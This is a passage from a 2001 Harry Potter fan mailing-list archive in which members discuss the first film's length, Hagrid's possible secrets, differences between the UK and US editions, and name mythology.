Frankly, I would sit through the 4 hour version with
pleasure. But then, I once went to a 9 1/2 hour movie,
so I may be a bit odd. (I hear you guys out there,
cease and desist with those comments, at once!)

My daughter brought home the copy of Entertainment
Weekly because she couldn't afford the copy of Vanity
Fair, which was $7.95 at our local Chapters store. 
> 
> Troy
> 
> P.S. This was my first post!
> 
Welcome, Troy!

Sheryll

=====
"We need to be united and strong. We'll have losses and scares, sure. And you'll be there for each other, helping each other through the bad times."
 blpurdom - Harry Potter and the Psychic Serpent, Chapter 26

__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From KayandJay1 at MSN.com  Sun Sep 16 13:37:31 2001
From: KayandJay1 at MSN.com (KayandJay1 at MSN.com)
Date: Sun, 16 Sep 2001 13:37:31 -0000
Subject: When is the 5 book coming out?
Message-ID: <9o29ur+e4bh@eGroups.com>

No: HPFGUIDX 26160

I have heard many roumors of when the 5 book is coming out.  Do any 
of you know for sure?

Josie Lilla Potter
Still proud to be an American!




From magpie1112 at yahoo.com  Sun Sep 16 14:05:49 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Sun, 16 Sep 2001 14:05:49 -0000
Subject: Name Meanings (Hagrid)
In-Reply-To: <9ntpdc+2cqk@eGroups.com>
Message-ID: <9o2bjt+7bp1@eGroups.com>

No: HPFGUIDX 26161

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
>
>But what's this about Sirius and "gatekeeper of hell"?  
>


Okay, here goes:

Egyptian mythology gives us Sirius (the Nile Star).  Reared its head 
around the Summer Solstice.  Sirius was thought to be the doorway to 
the afterlife.  Folks couldn't be buried when Sirus wasn't visible; I 
guess they thought you wouldn't be able to find your way to the 
afterlife without him.

Sirius (the Dog Star) itself is has various mythologies around it, 
including watching over hell, overseeing reincarnation, and other 
watcher over hell/afterlife/hades activities.

Kinda puts Fluffy to shame, don't it?






From editor at texas.net  Sun Sep 16 16:00:51 2001
From: editor at texas.net (Amanda Lewanski)
Date: Sun, 16 Sep 2001 11:00:51 -0500
Subject: Amanda's Anniversary Posting
Message-ID: <3BA4CCB3.649D9364@texas.net>

No: HPFGUIDX 26162

Greeting to the list! And congratulations to you older folk....you have
now officially survived one whole year of me! I joined this list on
September 16, 2000.

I joined a list of about 180 members (I think I worked out that I was
182), whose members contained (on a quick scan) such luminaries as
Penny, Simon, Jim Ferer, Carole, Jen Piersol, Joy, Ebony, Trina, our
beloved Brit car, Catlady, Steve the Lexicon god, Aberforth's Goat,
Mlleelizabeth, Peg Kerr, Kelley, Sheryll, the McGee, Pippin, storm, and
Cassie. The spinoff group Snapefans would come along on January 1, and
Chatter on February 2.

What a wonderful year it has been! And how wonderful to have such a
large and durable family. Thanks to you all for being such an
intellectual and emotional resource in my changing life, our changing
times.

In solidarity with you newcomers, who never want to post that "Hi, I'm
new" message---we all did, I did, and I post in full below my first
missive to the list. Been there, done that.

-----------------
From:  Amanda Lewanski <editor at t...>
Date:  Sat Sep 16, 2000  9:52 pm
Subject:  Hello, and a question

Greeting to the list. I'm new, and I've been group-hopping trying to
find the level of discussion I'd like, and you seem to be it. I hope I
can contribute items of interest, too.

A question---in all the groups I've observed, nobody's talking about
Snape. Can I get your thoughts on him? He seems to be such a complex
character---any theories (I've got a few) on *why* he stays with the
good guys? Why Dumbledore trusts him?

Just wondering if you were pondering what I was pondering,

Amanda






From rowena_grunnion_ffitch at yahoo.com  Sun Sep 16 16:23:37 2001
From: rowena_grunnion_ffitch at yahoo.com (rowena_grunnion_ffitch at yahoo.com)
Date: Sun, 16 Sep 2001 16:23:37 -0000
Subject: Favourite Quotes and/or Scenes...
In-Reply-To: <NCBBLOIDFHFLKCOIHJBKCEBJDMAA.shall@sfiweb.demon.co.uk>
Message-ID: <9o2jm9+t9t3@eGroups.com>

No: HPFGUIDX 26163

--- In HPforGrownups at y..., "Susan Hall" <shall at s...> wrote:

> I've never understood why the Ton-Tongue Toffee doesn't get up 
there in the
> list of "supposedly hilarious pranks with a fair chance of killing 
the
> victim" - if you didn't have someone on hand with both the skills 
and the
> presence of mind to reverse the engorgement charm or, 
alternatively, if
> Muggle, to do the emergency tracheotomy thing with the ball point 
pen that
> first aiders all seem to be panting for an opportunity to try I 
should have
> thought that there was a real chance of someone suffocating.

     A valid point - but maybe we should give the twins a little 
credit here, it seems the engorgement spell elongates but does not 
thicken the tongue thus not cutting off the windpipe. 

  Can I add it
> in as a third example to consider, next time we are arguing about 
the
> comparative evils of dressing up as the personification of clinical
> depression to scare someone into a fifty foot fall 

    *Snicker* what a description of a Dementor!

  and sending someone
> down a tunnel to meet your best friend whose having a bad bout of 
HSS (Hairy
> Snout Syndrome), and whether the perpetrators of the above are evil 
or not?

    Sirius isn't evil but it does bother me that even now, when he's 
all grown up, he *still* doesn't seem to realize the seriousness of 
what he tried to do. Frankly Snape has a right to hold a grudge here, 
he could have been killed - or at the very least cursed with an 
incurable affliction. Not to mention how poor Lupin would have felt 
when he returned to normal!

    BTW: Hello all from a two week old HP fan ;)  




From y_no_m at yahoo.com  Sun Sep 16 16:52:55 2001
From: y_no_m at yahoo.com (y_no_m at yahoo.com)
Date: Sun, 16 Sep 2001 16:52:55 -0000
Subject: Name Meanings (Hagrid)
In-Reply-To: <9o2bjt+7bp1@eGroups.com>
Message-ID: <9o2ld7+ctnq@eGroups.com>

No: HPFGUIDX 26164

> Sirius (the Dog Star) itself is has various mythologies around it, 
> including watching over hell, overseeing reincarnation, and other 
> watcher over hell/afterlife/hades activities.
> 
> Kinda puts Fluffy to shame, don't it?

(grins) It certainly does.

Also, about Fluffy, I remembered reading about Orpheus playing his 
lyre. With a song, he managed to pass Cerberus. I can't recall 
exactly from which source I read about that. It was in elementary 
school. The book, which I read, was a text book. The stories in it 
were greek myths, but they were expounded stories. The authors who 
wrote them added details that are not present in original myths.

I remember reading a part where Cerberus, upon hearing the song, 
began remembering about the time when he was a puppy. Started 
dreaming. In any case, he let Orpheus through.

Can anyone confirm this please?

yen




From witchwanda2002 at yahoo.com  Sun Sep 16 17:10:48 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Sun, 16 Sep 2001 10:10:48 -0700 (PDT)
Subject: [HPforGrownups] Amanda's Anniversary Posting
In-Reply-To: <3BA4CCB3.649D9364@texas.net>
Message-ID: <20010916171048.17899.qmail@web13701.mail.yahoo.com>

No: HPFGUIDX 26165

Amanda, you and all those experts on the list are
still teaching me! My boys and I are now read GoF, the
British version, and we are still learning! We went
through all the American versions and love the British
versions more! But reading all the posts and different
POV, helped us understand more and love what this
group has done! So we here in Revere give a big toast
to you and all those older folk a well derserved CHEER
and of course plenty of Butterbeer to go around and
around!:D 

Schnoogles to you all,

Wanda and Her Almost Back to Humorous Muggles

--- Amanda Lewanski <editor at texas.net> wrote:
> Greeting to the list! And congratulations to you
> older folk....you have
> now officially survived one whole year of me! I
> joined this list on
> September 16, 2000.
> 
> I joined a list of about 180 members (I think I
> worked out that I was
> 182), whose members contained (on a quick scan) such
> luminaries as
> Penny, Simon, Jim Ferer, Carole, Jen Piersol, Joy,
> Ebony, Trina, our
> beloved Brit car, Catlady, Steve the Lexicon god,
> Aberforth's Goat,
> Mlleelizabeth, Peg Kerr, Kelley, Sheryll, the McGee,
> Pippin, storm, and
> Cassie. The spinoff group Snapefans would come along
> on January 1, and
> Chatter on February 2.
> 
> What a wonderful year it has been! And how wonderful
> to have such a
> large and durable family. Thanks to you all for
> being such an
> intellectual and emotional resource in my changing
> life, our changing
> times.
> 
> In solidarity with you newcomers, who never want to
> post that "Hi, I'm
> new" message---we all did, I did, and I post in full
> below my first
> missive to the list. Been there, done that.
> 
> -----------------
> From:  Amanda Lewanski <editor at t...>
> Date:  Sat Sep 16, 2000  9:52 pm
> Subject:  Hello, and a question
> 
> Greeting to the list. I'm new, and I've been
> group-hopping trying to
> find the level of discussion I'd like, and you seem
> to be it. I hope I
> can contribute items of interest, too.
> 
> A question---in all the groups I've observed,
> nobody's talking about
> Snape. Can I get your thoughts on him? He seems to
> be such a complex
> character---any theories (I've got a few) on *why*
> he stays with the
> good guys? Why Dumbledore trusts him?
> 
> Just wondering if you were pondering what I was
> pondering,
> 
> Amanda
> 
> 
> 
> 


__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From meboriqua at aol.com  Sun Sep 16 18:26:33 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Sun, 16 Sep 2001 18:26:33 -0000
Subject: Hagrid's Mysterious Past
Message-ID: <9o2qsp+bv7i@eGroups.com>

No: HPFGUIDX 26166

Hey Everyone -

I was just reading EW (found the last copy at the supermarket and got 
very excited).  Robbie Coltrane said in an interview that he had 
talked to JKR about Hagrid.  She "told him, and even disclosed some 
secrets that will be revealed in future novels".  Hmmm - I thought the 
big shocker was that Hagrid was half-giant and I am assuming that 
we'll meet Fridwulfa, his giant mommy in OoP.  Now I have the feeling 
that JKR is hiding more about Hagrid than that.

Does anyone have any speculations about what secrets Hagrid may 
harbor?  We've discussed Snape's past a gazillion times (but I like 
it, Amanda!).  What about Hagrid?  I have no idea.

--jenny from ravenclaw 

Fudge is the icing on my cake ******************************




From rowena_grunnion_ffitch at yahoo.com  Sun Sep 16 18:57:03 2001
From: rowena_grunnion_ffitch at yahoo.com (rowena_grunnion_ffitch at yahoo.com)
Date: Sun, 16 Sep 2001 18:57:03 -0000
Subject: Name Meanings (Hagrid)
In-Reply-To: <9o2ld7+ctnq@eGroups.com>
Message-ID: <9o2slv+aem2@eGroups.com>

No: HPFGUIDX 26167

> I remember reading a part where Cerberus, upon hearing the song, 
> began remembering about the time when he was a puppy. Started 
> dreaming. In any case, he let Orpheus through.

    I don't know about the nostalgia but Orpheus certainly did get by Cerberus by playing his lyre. On the other hand Psyche got by him with honeycakes so it may have been the magic of Orpheus' playing that got him by, not any special susceptibility to music on Cerberus' part. 




From daffanee2 at yahoo.com  Sun Sep 16 19:03:23 2001
From: daffanee2 at yahoo.com (La)
Date: Sun, 16 Sep 2001 12:03:23 -0700 (PDT)
Subject: [HPforGrownups] MOVIE:  length of movie
In-Reply-To: <008001c13e6e$939191c0$c53470c2@c5s910j>
Message-ID: <20010916190323.83017.qmail@web20808.mail.yahoo.com>

No: HPFGUIDX 26168

I think kids would sit thru it, as long as they are
true to the book, and as long as the movie is what
they had somewhat envisioned. I also think the kids
cast in the movie would play a part in this too.  I
just cant imagine changing any of the actors,
because...Harry doesnt change.  Kinda like Batman,
Mchael Keaton did the forst few movies, then it kept
changing, and lost its luster.  

>From what I've seen, it looks like they have gotten
the visuals down quite well, but it will be
interesting to see.  

I'd like to know....some of the comments between the
us version and the brittish versions of the books.  I
just recently bought the first one in the brittish
version.  I'm wondering, are the differences in each
book worth getting and reading both?  

and btw, I'm Laura...new to the list  :)

~La
--- Neil Ward <neilward at dircon.co.uk> wrote:
> jaqbeagle said:
> 
> << Now I know I'm not quoting from the most reliable
> source but... The News
> of the world is reporting that Harry Potter and the
> Philosopher's Stone is
> currently four hours long, and that Chris
> Columbus now has the task of making it shorter
> (because Warner Bros don't
> think that kiddies will be able to sit through
> it).>>
> 
> I would also be a bit wary of any 'news' reported in
> the NOTW, but if this
> *is* true, I look forward to the director's cut of
> the film, which would,
> presumably, involve leaving in all the bits CC took
> out.
> 
> Wasn't there talk of GoF being far too long for
> children of a certain age
> and didn't most children devour GoF just like
> everyone else?  I think
> children would be as bothered as adults at the
> thought of scenes being cut.
> Alternatively, perhaps Warner Brothers would
> consider releasing an edited
> version for restless kids and a fuller version for
> the millions of adult
> fans?
> 
> One of the things mentioned in the recent "Vanity
> Fair" article is the idea
> that they threw away the rulebook when making this
> film in an effort to be
> as true to the book as possible.  To me, that
> suggests that they might
> produce an incredibly long film and not think so
> much about tailoring it for
> a particular market.
> 
> Neil (who would quite happily take up residence in a
> cinema seat, watching
> the HP film playing on a loop).
> 
> ________________________________________
> Flying Ford Anglia
> 
> "If you ever need me, send word.  Your owl will find
> me." [Sirius to Harry,
> PoA]
> 
> 
> 


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From caliburncy at yahoo.com  Sun Sep 16 20:29:49 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Sun, 16 Sep 2001 20:29:49 -0000
Subject: MOVIE: length of movie
In-Reply-To: <9o19fr+t71o@eGroups.com>
Message-ID: <9o323t+ecom@eGroups.com>

No: HPFGUIDX 26169

--- In HPforGrownups at y..., jacqbeagle at b... wrote:
> Now I know I'm not quoting from the most reliable source but...
> 
> The News of the world is reporting that Harry Potter and the 
> Philosopher's Stone is currently four hours long, and that Chris 
> Columbus now has the task of making it shorter (because Warner Bros 
> don't think that kiddies will be able to sit through it).

Okay, I'm not a Hollywood expert (by no means), but as I understand it 
(and please someone who knows better correct me if I'm wrong) this 
four hour thing (which has been reported in several recent sources) is 
getting mildly misinterpreted by a couple people.

The four hours is *not* the current director's cut or anything 
similarly 'final'-ish and right now Chris Columbus is working to make 
it shorter for his *own* reasons, not WB's, at least not yet.  Once he 
shortens it to his own cut (say perhaps, two-and-a-half to three hours 
maybe, who knows?), WB will quite possibly tell him to shorten it 
more.  :-(  Let's hope they don't.  But anyway, the four hours 
probably includes stuff that Columbus himself would want to cut.  It's 
not a final cut.  So once he makes a director's cut (which may end up 
on the DVD), it will most likely be far shorter than four hours.  But 
none of that will be unjust cutting at the hands of the studio execs, 
it will be at the hands of general film editing, the kind that goes 
into any movie.  Only the further cuts made to the director's cut will 
be studio-mandated (probably to fit some superficial length quota).

My rather layman's understanding of the different editing stages where 
cuts are concerned is as follows (probably all with wrong names--I 
don't know the correct Hollywood jargon):

* Initial length of all filmed footage (except perhaps footage that 
was immediately canned) (I think they're past this stage in the 
editing process)

* *Several* initial cuts (Somewhere in here is I think where the four 
hours version fits in)

* Director's cut (Not finished yet--may end up on the DVD, who knows?)

* Final theatrical release cut (What we will see in the 
theater--hopefully identical to the director's cut, but probably a bit 
shorter)

Anyway, I guess all I mean is don't make TOO much of the four hours.  
Many of the cuts still to be made to it are simply for the sake of 
good editing.  Only after they've made a more final cut will they have 
to take things out to appease WB.

Or something.  Like I said, if there's someone with a more "insider" 
positioning please correct me.  I'm sure I've said something wrong or 
misleading in the course of this post.

-Luke, who would LOVE to see a four hour HP movie anyway (provided it 
was good and not just long with no particular reason)




From captain_debrowe at yahoo.com  Sun Sep 16 20:32:28 2001
From: captain_debrowe at yahoo.com (Danette Schardt-Cordova)
Date: Sun, 16 Sep 2001 13:32:28 -0700 (PDT)
Subject: Magazine articles (WAS  MOVIE:  length of movie)
In-Reply-To: <139.19cb75c.28d5f4a2@aol.com>
Message-ID: <20010916203228.93439.qmail@web14407.mail.yahoo.com>

No: HPFGUIDX 26170

Since we are discussing magazine articles I had to add
this.  I just recieved the October copy of Mickelodeon
Magazine.  On the cover is a picture of Harry (A
BLUE-EYED Harry at that) and inside is a three page
article with short interviews with each of the three
main kids (Daniel/Harry, Rupert/Ron, Emma/Hermione)
and five scene pictures (Harry and Dumbledore in the
hospital wing, Ron and Harry walking and talking with
books in their hands, A broomstick scene, Neville and
Harry in Charms class, and the first years lined up in
front of the Sorting Hat).  If anyone is interested in
the article e-mail me privately and I'll type it in
for you.

Danette

--- troystory3 at aol.com wrote:
> This week's Entertainment Weekly has Harry Potter on
> the cover and a 4-6 page 
> story on the making of the movie. It also mentions a
> four hour movie length 
> currently and how it will have to be cut before the
> release. It further 
> mentions how the DVD release will be one of the most
> amazing things to date. 
> I might just have to buy a DVD player for it...
> 
> Troy
> 
> P.S. This was my first post!
> 


__________________________________________________
Terrorist Attacks on U.S. - How can you help?
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From heymynameisabird at hotmail.com  Sun Sep 16 20:34:50 2001
From: heymynameisabird at hotmail.com (Helen Nightingale)
Date: Sun, 16 Sep 2001 20:34:50 -0000
Subject: House Size
In-Reply-To: <9nvf41+dn3p@eGroups.com>
Message-ID: <9o32da+7nls@eGroups.com>

No: HPFGUIDX 26171

--- In HPforGrownups at y..., "Jim Ferer" <jferer at y...> wrote:
OTOH, it doesn't seem incredible that there could be more 
Hufflepuffs and Ravenclaws than Gryffindors and Slytherins. (snip) 
Besides, it seems reasonable that there's a lot more people in this 
world who do the work (Ravenclaws and Hufflepuffs) than get the 
glory (Gryffindors) or at least the notoriety (Slytherins). 

I'd never thought of it like that, but it certainly makes sense. But I 
would say that there'd be more Hufflepuffs and Slytherins, and less 
Gryffindors and Ravenclaw. I'm not trying to be cynical there, but IMO 
 the majority of the people who work hard, most do it either for other 
people (Hs) or to help themselves succeed (Ss), rather than just for 
the sake of learning.



Eric:"I'm quite sure that had HP and his pals been at the site of 
the WTC attack, they'd have been pulling people out of the windows the 
firemen couldn't reach and getting them to the ground 
via broomstick...and the devil take the risk of Azkaban.  For somebody 
as nice as they are, the knowledge that they could have done 
something, but didn't because of some fiddling wizard law, would have 
been worse torment than anything a dementor could ever have done."

Maybe it's silly, but I like to think they were. Not HP specifically, 
but someone, someone who has the power to change things. Call it God, 
or angels, or fairies, or whatever you like. I like to think there 
must have been someone there.



Love

Helen




From Universo985 at yahoo.com  Sun Sep 16 21:19:17 2001
From: Universo985 at yahoo.com (Universo985 at yahoo.com)
Date: Sun, 16 Sep 2001 21:19:17 -0000
Subject: Timeline
Message-ID: <9o350l+5j7s@eGroups.com>

No: HPFGUIDX 26172

While I know the timeline is derived from Nick's 500th death day 
there is a mistake in the first book. In SS nick hasn't eaten in 
nearly 400 years yet in CoS it's his 500th deathday. So is this old 
news, a mistake in my copy, does time flow differently for ghost.




From Universo985 at yahoo.com  Sun Sep 16 21:32:38 2001
From: Universo985 at yahoo.com (Universo985 at yahoo.com)
Date: Sun, 16 Sep 2001 21:32:38 -0000
Subject: Favourite Quotes and/or Scenes...
In-Reply-To: <F2317w4pUniTwiwzRJF00002226@hotmail.com>
Message-ID: <9o35pm+iv47@eGroups.com>

No: HPFGUIDX 26173

--- In HPforGrownups at y..., "princesskatie115 -" 
<princesskatie115 at h...> wrote:
> Just wondering what quotes or scenes in the HP series really popped 
out at 
> you (whether clever, funny, touching, etc.) and have become your 
favourites!

My favourites

SS-  when the villian is revealed to be Qurrel(sp?)
then when Dumbledore says everything that happened is supposed to be 
a secret so the entire school knows. And the Entire Mirror of Erised

CoS- Whenever Dobby has to hurt himself its sad and funny at the same 
time

PoA- When Harry Thinks The Pantronus(sp?) was from his dad

GoF- Priori Incanteum








From jkusalavagemd at yahoo.com  Sun Sep 16 22:16:50 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Sun, 16 Sep 2001 22:16:50 -0000
Subject: JKR's secret histories (was Re: Hagrid's Mysterious Past)
In-Reply-To: <9o2qsp+bv7i@eGroups.com>
Message-ID: <9o38ci+db50@eGroups.com>

No: HPFGUIDX 26174

--- In HPforGrownups at y..., meboriqua at a... wrote:
> Hey Everyone -
>
> I was just reading EW (found the last copy at the supermarket and got
> very excited).  Robbie Coltrane said in an interview that he had
> talked to JKR about Hagrid.  She "told him, and even disclosed some
> secrets that will be revealed in future novels".  Hmmm - I thought the
> big shocker was that Hagrid was half-giant and I am assuming that
> we'll meet Fridwulfa, his giant mommy in OoP.  Now I have the feeling
> that JKR is hiding more about Hagrid than that.
>
> Does anyone have any speculations about what secrets Hagrid may
> harbor?  We've discussed Snape's past a gazillion times (but I like
> it, Amanda!).  What about Hagrid?  I have no idea.
>
> --jenny from ravenclaw
>

In the text of the "Vanity Fair" article (I had to tear my eyes from
the fabulous pics) they revealed that JKR has detailed histories of
each character INCLUDING THE CHILDHOOD OF SIRIUS BLACK. (sorry, I
cannot type italics) so that she could maneuver her characters in the
story.  Wouldn't you love to get hold of those biographies?

Haggridd




From devika261 at aol.com  Sun Sep 16 22:47:54 2001
From: devika261 at aol.com (devika261 at aol.com)
Date: Sun, 16 Sep 2001 22:47:54 -0000
Subject: Hagrid's Mysterious Past
In-Reply-To: <9o2qsp+bv7i@eGroups.com>
Message-ID: <9o3a6q+8f4k@eGroups.com>

No: HPFGUIDX 26175

--- In HPforGrownups at y..., meboriqua at a... wrote:
> Hey Everyone -
> 
> I was just reading EW (found the last copy at the supermarket and 
got 
> very excited).  Robbie Coltrane said in an interview that he had 
> talked to JKR about Hagrid.  She "told him, and even disclosed some 
> secrets that will be revealed in future novels".  Hmmm - I thought 
the 
> big shocker was that Hagrid was half-giant and I am assuming that 
> we'll meet Fridwulfa, his giant mommy in OoP.  Now I have the 
feeling 
> that JKR is hiding more about Hagrid than that.
> 
> Does anyone have any speculations about what secrets Hagrid may 
> harbor?  We've discussed Snape's past a gazillion times (but I like 
> it, Amanda!).  What about Hagrid?  I have no idea.
> 
> --jenny from ravenclaw 
> 
> Fudge is the icing on my cake ******************************


Oooh, I like this question!  We DO still have new topics to discuss!  
(I've only been in this group since May, but this seems new to me, 
anyway).  
I don't have the books with me here, but going by what I remember, I 
don't think there has been that much discussion or foreshadowing 
regarding giants in general.  We know that Fridwulfa is Hagrid's 
mother (at least, Rita Skeeter said so), and we know that giants are 
supposed to be vicious and just "not very nice," according to Ron in 
GoF.  I also assume (although that could be dangerous) that Hagrid's 
and Madam Maxime's mission at the end of GoF had something to do with 
the giant community, perhaps an attempt to persuade them to ally 
themselves with Dumbledore.  However, I'm not sure how any of this 
directly pertains to a secret in Hagrid's past.  I'd be interested to 
hear anyone else's ideas, though.

What I was thinking was that perhaps Hagrid's secret has something to 
do with Voldemort directly. Hagrid knew Voldemort when he was still 
Tom Riddle.  He probably looked up to Tom, as a prefect, and he 
trusted him with the secret of Aragog.  Perhaps Hagrid even thought of 
Tom Riddle as a friend.  It makes me wonder if Voldemort would have 
tried to get Hagrid to join him when he was rising to power.  If the 
giants were joining Voldemort's side, Hagrid might have been tempted 
to do so as well.  Voldemort probably appealed to those who were 
shunned by ordinary wizarding society, such as werewolves, vampires, 
and of course giants.  Hagrid, being a half-giant who had been 
expelled from Hogwarts, may also have fallen into this category.  

I'm not sure if anyone knew that Voldemort had once been Tom Riddle.  
IIRC, Dumbledore said that when Riddle resurfaced as Lord Voldemort, 
he had undergone so many magical transformations that he was 
unrecognizable as the person he had once been at Hogwarts.  However, 
even if Hagrid didn't recognize Tom Riddle in Voldemort, Voldemort 
still knew Hagrid.  Voldemort might have realized that Hagrid's 
affinity for dangerous creatures could have made him a useful 
follower.

Anyway, those are my thoughts.  Maybe the fact that Hagrid and Tom 
Riddle were schoolmates has more meaning than we thought after CoS...

Again, I really like this question.  I hope other people have their 
own thoughts to add!

Devika :)
    




From caliburncy at yahoo.com  Mon Sep 17 00:28:41 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Mon, 17 Sep 2001 00:28:41 -0000
Subject: On UK vs. US editions (was Re: MOVIE: length of movie)
In-Reply-To: <20010916190323.83017.qmail@web20808.mail.yahoo.com>
Message-ID: <9o3g3p+5mdp@eGroups.com>

No: HPFGUIDX 26176

--- In HPforGrownups at y..., La <daffanee2 at y...> wrote:
> I'd like to know....some of the comments between the
> us version and the brittish versions of the books.  I
> just recently bought the first one in the brittish
> version.  I'm wondering, are the differences in each
> book worth getting and reading both?  

Hi, Laura, welcome to the list!

The Harry Potter Lexicon has put together a list of all the 
differences between the British and U.S. editions of all four 
currently available Harry Potter books (the page numbers refer to the 
hardcover editions).  You can find them on the "Help/About" page (to 
which I provide a link below) under the heading "Language Resources" 
and then "Differences between the UK and US versions":

http://www.i2k.com/~svderark/lexicon/help.html

As for whether it's worth owning both, that's a matter of opinion.  If 
you have the British editions than there is nothing really special 
about the U.S. ones (except the very nice chapter heading 
illustrations by Mary GrandPre), they were simply altered for 
understanding by an American audience, not content.  There is more 
interest in buying the British editions if you only have the American 
ones for the purposes of either collectability or authenticity (since 
they were the original text, they are rightly deemed more authentic). 
 Ninety-seven percent of the time, the changes are relatively 
immaterial (minor cultural things, like "car park" vs. "parking lot") 
so it probably wouldn't matter to a casual reader, just nitpickers 
(like many of us here).  But there are a couple less fathomable 
changes like, of course, the change from "Philosopher's Stone" to 
"Sorcerer's Stone".

-Luke (who actually put a signature below, on special, this one time 
only!)

------------------------------------------------------------

"England and America are two countries separated by the same 
language." - George Bernard Shaw 

------------------------------------------------------------




From absinthe at mad.scientist.com  Mon Sep 17 00:51:12 2001
From: absinthe at mad.scientist.com (absinthe at mad.scientist.com)
Date: Mon, 17 Sep 2001 00:51:12 -0000
Subject: Hagrid's Mysterious Past
In-Reply-To: <9o2qsp+bv7i@eGroups.com>
Message-ID: <9o3he0+6afo@eGroups.com>

No: HPFGUIDX 26177

--- In HPforGrownups at y..., meboriqua at a... wrote:
> Does anyone have any speculations about what secrets Hagrid may 
> harbor?  We've discussed Snape's past a gazillion times (but I like 
> it, Amanda!).  What about Hagrid?  I have no idea.
> 
> --jenny from ravenclaw 
> 

I speculate that Hagrid's umbrella is made from the wands of James 
and Lily Potter. Why? Hagrid and Sirius were the first ones to get to 
Godric's Hollow. Hagrid pulled infant Harry from the wreckage. I 
imagine that Hagrid found Lily's wand and James wand among the 
carnage and kept them for Harry. It might also explain the 24 hour 
time gap between Hagrid leaving Godric's Hollow and arriving at 
Privet Drive (unless Hagrid stopped for a drink along the way). 

The magic Hagrid performs with the umbrella wasn't of the same low 
caliber as Ron's broken wand magic in CoS. Hagrid's umbrella didn't 
seem to malfunction as much and I don't think you can chalk it up to 
Hagrid's experience with magic as he was expelled in his third year. 

Milz




From opaldragonfly at yahoo.com  Mon Sep 17 01:30:18 2001
From: opaldragonfly at yahoo.com (opaldragonfly at yahoo.com)
Date: Mon, 17 Sep 2001 01:30:18 -0000
Subject: "Authorized Biography"
Message-ID: <9o3jna+v0cb@eGroups.com>

No: HPFGUIDX 26178

Dear All--I picked up a shortish paperback in the children's Lit 
section of Barnes and Noble (where I hang out quite a bit because I 
teach Children's Lit) and it claims to be "The ONly Authorized 
Biography of J. K. Rowling."  It is titled Conversations With J.K. 
Rowling and is written and edited by Lindsey Fraser.  Has anyone else 
come across this?  It's $4.99.  Fraser is "a leading children's book 
enthusiast. . . .is now Executive Director of Scottish Book Trust, an 
organization renowned for its work in promoting reading among 
children and in raising the profile of children's literature."  
Anyone heard of her?  It appears to be a compilation of the 
interviews JKR has given through the last few years, but i don't 
think all the questions and answers are in it--selected ones it 
seems.  Just thought I'd mention that it was out there for anyone 
interested.  Opal Dragonfly




From mellienel2 at yahoo.com  Mon Sep 17 02:05:38 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Mon, 17 Sep 2001 02:05:38 -0000
Subject: Hagrid's Mysterious Past
In-Reply-To: <9o2qsp+bv7i@eGroups.com>
Message-ID: <9o3lpi+8162@eGroups.com>

No: HPFGUIDX 26179


> Does anyone have any speculations about what secrets Hagrid may 
> harbor?  We've discussed Snape's past a gazillion times (but I like 
> it, Amanda!).  What about Hagrid?  I have no idea.
> 

Hmm -- there is Dumbledore's blind faith in Hagrid, which, while we 
believe in it because we know him, has never been fully explained. 
Also -- Hagrid was at school with Voldy for five years, then was 
gameskeeper for his remaining two years. He could know a lot about 
him. Perhaps Hagrid is one of the 'few' people who know that he is 
Tom Riddle, and saved Dumbledore from him long ago (after all -- we 
know Voldy is afraid of Dumbledore, but not exactly why. He could 
have nearly killed him once, too, with help from Hagrid, perhaps when 
he first emerged as Lord Voldemort, or while he was still Tom Riddle. 
It seems the young Voldy would want Dumbledore out of the way if he 
was to go out into the evilness.)

I think mummy Fridwulfa is going to show up, too -- and since JKR 
seems to often point out how different books are than their covers, 
(werewolves, muggle-borns....) perhaps she won't be the monster 
everyone says she is.


> --jenny from ravenclaw 
> 
> Fudge is the icing on my cake ******************************




From mellienel2 at yahoo.com  Mon Sep 17 02:12:11 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Mon, 17 Sep 2001 02:12:11 -0000
Subject: PoA questions
Message-ID: <9o3m5s+c729@eGroups.com>

No: HPFGUIDX 26180

OK -- I apologize if these have been furiously pawed over in the 
past, but I reread PoA this week (needing cheer...and that Hermione-
slapping-Draco scene is priceless...) and have some questions.

1. In my book, and I don't know how this can't be a mistake, Black 
says to Pettigrew in the Shrieking Shack that Voldemort had been in 
hiding for 15 years (it's when Hermione asks why Pettigrew didn't 
touch Harry...I'm not sure the page #). But at this point, harry is 
13, and Voldemort has only been in hiding for 12, maybe 12 1/2 years. 
Is this in everyone's book, or do you think it's just a mistake? 
There are many things that point to and fro on this one...I'm 
inclined to think it's a mistake though.

2. If Lupin was studying the Marauder's Map before running out to the 
shrieking shack, why didn't he see a SECOND Harry Potter and Hermione 
Granger? As they were approaching the shack, the time-travelling H&H 
were on the grounds, in the woods with Buckbeak. We know that the 
time-travelling self is in that specific time frame because of the 
Patronus deal -- there are two Harrys by the lake -- and the (and 
this is an approx. quote) "they heard a last pair of feet run across 
the entrance hall and slam a door" [those feet are Hermione and 
Harry, time travelling.]. So there should be two Hermiones and two 
Harrys on the map. If he thought seeing Pettigrew on the map was 
strange, SURELY seeing two Harry/Hermiones would be stranger. Or 
maybe he just decided not to say anything about it...still...dodgy...

m.
 




From rowena_grunnion_ffitch at yahoo.com  Mon Sep 17 02:25:28 2001
From: rowena_grunnion_ffitch at yahoo.com (rowena_grunnion_ffitch at yahoo.com)
Date: Mon, 17 Sep 2001 02:25:28 -0000
Subject: I've Been Reading the Archives (was Ancient/Old Magic - Why is Harry protected?)
In-Reply-To: <9hlivp+fqe6@eGroups.com>
Message-ID: <9o3muo+o7j1@eGroups.com>

No: HPFGUIDX 26181

--- In HPforGrownups at y..., eccleston at c... wrote:
> 
> This is something that has really puzzled me. What is it about the 
> Dursley's that protects Harry? The only other really deep magic 
> that has defeated Mr.V. in the past is the subtle and profound 
> love of a mother for her baby. So, what is it at the D's that is so 
> powerful?

